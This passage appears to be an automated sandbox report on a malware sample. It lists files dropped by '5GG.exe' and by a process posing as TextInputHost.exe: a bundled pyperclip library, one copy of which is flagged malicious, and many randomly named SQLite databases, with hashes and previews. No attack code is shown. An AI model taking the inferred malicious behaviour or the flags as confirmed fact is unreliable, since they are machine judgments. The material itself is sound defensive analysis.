SHA1:	B3EF37BC0084B263D51A6481F1A8ABC5417BF51A
SHA-256:	95E23938F91428039A425F404EC9B7820BBE0C0FF7DC31FBEB10BF9CB18F1FE2
SHA-512:	82A0F52591A684CB8423E8A344D58FDBB662E92C1D050BDDE7B0423F83DECB7CCB8AC5B2EB63CD50F9C6F3C980E241F6F331CB5CA30DC179F285075A91041634
Malicious:	false
Preview:	pyperclip.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	26043
Entropy (8bit):	4.803686979259997
Encrypted:	false
SSDEEP:	384:TfDlcLlFxXQ6WvqkfNLmVuH2iQgbMNvlhBJS:Lw0qGvQdhBc
MD5:	4E7F4FB35F55FFF16F48A1ED7DFB8956
SHA1:	A93DA5C5153B413AD0D620DB8C63CA93EAD008D4
SHA-256:	22ABD6B6D66B484119076C2AC9144C7A84FB7A821D3DB370ACC7B7BF433E689B
SHA-512:	BE93F28F30F0490CEFE21DDE160ECEF83E240EE93D30A0AC5C9695F260B146E82ABB39FFB5C1E5A8EACAEE5BBA193CC58016AC388CC427F2F3845B24CECBDF3A
Malicious:	true
Preview:	"""..Pyperclip....A cross-platform clipboard module for Python, with copy & paste functions for plain text...By Al Sweigart al@inventwithpython.com..BSD License....Usage:.. import pyperclip.. pyperclip.copy('The text to be copied to the clipboard.').. spam = pyperclip.paste().... if not pyperclip.is_available():.. print("Copy functionality unavailable!")....On Windows, no additional modules are needed...On Mac, the pyobjc module is used, falling back to the pbcopy and pbpaste cli.. commands. (These commands should come with OS X.)...On Linux, install xclip, xsel, or wl-clipboard (for "wayland" sessions) via package manager...For example, in Debian:.. sudo apt-get install xclip.. sudo apt-get install xsel.. sudo apt-get install wl-clipboard....Otherwise on Linux, you will need the gtk or PyQt5/PyQt4 modules installed.....gtk and PyQt4 modules are not available for Python 3,..and this module does not work with PyGObject yet.....Note: There seems to be a way to get gtk

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip\main.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.7943159060798655
Encrypted:	false
SSDEEP:	12:FvcZFMEkJM4AFMlVHU9BaVH+TkdFMEkVSdhMH+3VwC2qVpNipuLwXqip+7aiHQyd:6Ap8ap+wAqhL3VhhVpNiWwaig7IRgb
MD5:	EFB5FC66F4ACFBBF42B8E43E816CDD7A
SHA1:	032B003A2BE9F9D4BF2F5F96890AE3F9941169A9
SHA-256:	8AD20E97F97A18D1D7C7BD3B25139388D3DCBD9894DF1BA1024EBA764DF19706
SHA-512:	42A14F8A06EE518691D60B386561CA12562B774F362B1128CA24502A76E0D75E2F94D0AFEF8F9427F638B90666B42328D7A3E2F766A03ADA742EF85F69873227
Malicious:	false
Preview:	import pyperclip..import sys....if len(sys.argv) > 1 and sys.argv[1] in ('-c', '--copy'):.. if len(sys.argv) > 2:.. pyperclip.copy(sys.argv[2]).. else:.. pyperclip.copy(sys.stdin.read())..elif len(sys.argv) > 1 and sys.argv[1] in ('-p', '--paste'):.. sys.stdout.write(pyperclip.paste())..else:.. print('Usage: python -m pyperclip [-c \| --copy] [text_to_copy] \| [-p \| --paste]').. print().. print('If a text_to_copy argument is provided, it is copied to the').. print('clipboard. Otherwise, the stdin stream is copied to the').. print('clipboard. (If reading this in from the keyboard, press').. print('CTRL-Z on Windows or CTRL-D on Linux/macOS to stop.').. print('When pasting, the clipboard will be written to stdout.')

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	20773
Entropy (8bit):	5.441691809104012
Encrypted:	false
SSDEEP:	192:OF6NIYjLaikW9LnU36vauyiafGZXdtTlaC9UBpjYOzRNbIUObYhVpp6fYPZaPPrP:SodtNzUwZ/v9U3k2uZbYhDpfZoouX
MD5:	309BF2B62510660A967F8924BD9D7185
SHA1:	3FE07A7B8A5395FC94E819B4FFC1FEA6A32BF368
SHA-256:	8B989EF3E574139CCC7ADADC1C44F5EA8313A80CD2B844BD902D596AD810EC6C
SHA-512:	ED6648F49424DD389A8FC4B51068AD6DB87D85E56271D83DF63FEF6C6E1F37C3FF8A81316B7B3BA850BCF18B578EB1F0602BEA6C9A72C3B74DAFFAA19E284D4E
Malicious:	false
Preview:	o.......Y..e.e.......................@...s....d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...e...d.d...Z.d.Z.e.j.d...d.k.Z.e.rEe.n.e.Z.d.Z.z.d.d.l.m.Z...W.n...e.yi......e.....d.k.rad.Z.n.d.Z.d.d...Z.Y.n.w.G.d.d...d.e...Z.G.d.d...d.e...Z G.d.d...d.e...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%d.d...Z&d d!..Z'd"d#..Z(d$d%..Z)d&d'..Zd(d)..Z+dd+..Z,G.d,d-..d-e-..Z.d.d/..Z/d0d1..Z0d2d3..Z1d4d5..Z2d6d7..Z3d8d9..Z4d:d;..Z5e3e4..a6a7dAd<d=..Z8dAd>d?..Z9g.d@..Z:d.S.)Ba.....Pyperclip..A cross-platform clipboard module for Python, with copy & paste functions for plain text..By Al Sweigart al@inventwithpython.com.BSD License..Usage:. import pyperclip. pyperclip.copy('The text to be copied to the clipboard.'). spam = pyperclip.paste().. if not pyperclip.is_available():. print("Copy functionality unavailable!")..On Windows, no additional modules are needed..On Mac, the pyobjc module is used, falling back to the pbcopy and pbpaste cli. commands

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip\pycache\main.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	5.5448587944763075
Encrypted:	false
SSDEEP:	24:Zs5NPkahSg5PCXC3VeVpNiWwaig7SKX0RPEQG:aPIg5AVhrD
MD5:	333AFC2740C8295851AA00CD3EC5821D
SHA1:	DDF31B8BFE03EA8D26F818ED73490A891EA55D2D
SHA-256:	19FE2DB97B567956332C820B53FB494CA5B6FE6246B163C14BB2F05F82422120
SHA-512:	36D94E8364F532F8878628C84804E1AA435067AA6EBA9027F8534C58BEEFE9B8E6526DA5094995D3062DF161B1E0A6E7F2EDF23F77C20F70CA1E9300712664B7
Malicious:	false
Preview:	o.......Y..e.........................@...s....d.d.l.Z.d.d.l.Z.e.e.j...d.k.r1e.j.d...d.v.r1e.e.j...d.k.r'e...e.j.d.......d.S.e...e.j.........d.S.e.e.j...d.k.rIe.j.d...d.v.rIe.j...e.........d.S.e.d.....e.....e.d.....e.d.....e.d.....e.d.....e.d.....d.S.)......N.....).z.-cz.--copy.....).z.-pz.--pastezHUsage: python -m pyperclip [-c \| --copy] [text_to_copy] \| [-p \| --paste]z;If a text_to_copy argument is provided, it is copied to thez7clipboard. Otherwise, the stdin stream is copied to thez7clipboard. (If reading this in from the keyboard, pressz3CTRL-Z on Windows or CTRL-D on Linux/macOS to stop.z6When pasting, the clipboard will be written to stdout.).Z.pyperclip..sys..len..argv..copy..stdin..read..stdout..writeZ.paste..print..r....r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pyperclip/__main__.py..<module>....s..................................

C:\Users\user\AppData\Local\Temp\aO1czRQEWU

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\afim22L4vt

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bSMPlhg2cQ

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bnxwtKHeIo

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\buVJrRzQm2

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bzXePZWXNq

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cHgvgMBH2m

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cJe6a51dYq

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cWPebb5CZL

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\coIgPzJOnC

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cw7L2EyBuE

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dVNy0VdLvo

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\de2bMEgpRq

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dtvb01d7dp

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dvpauHvWER

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eAqd4g2Z0O

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eH58UDInhv

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eUTYP5ABPO

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f0A3nDIy8U

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f5bwI6Ikd4

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
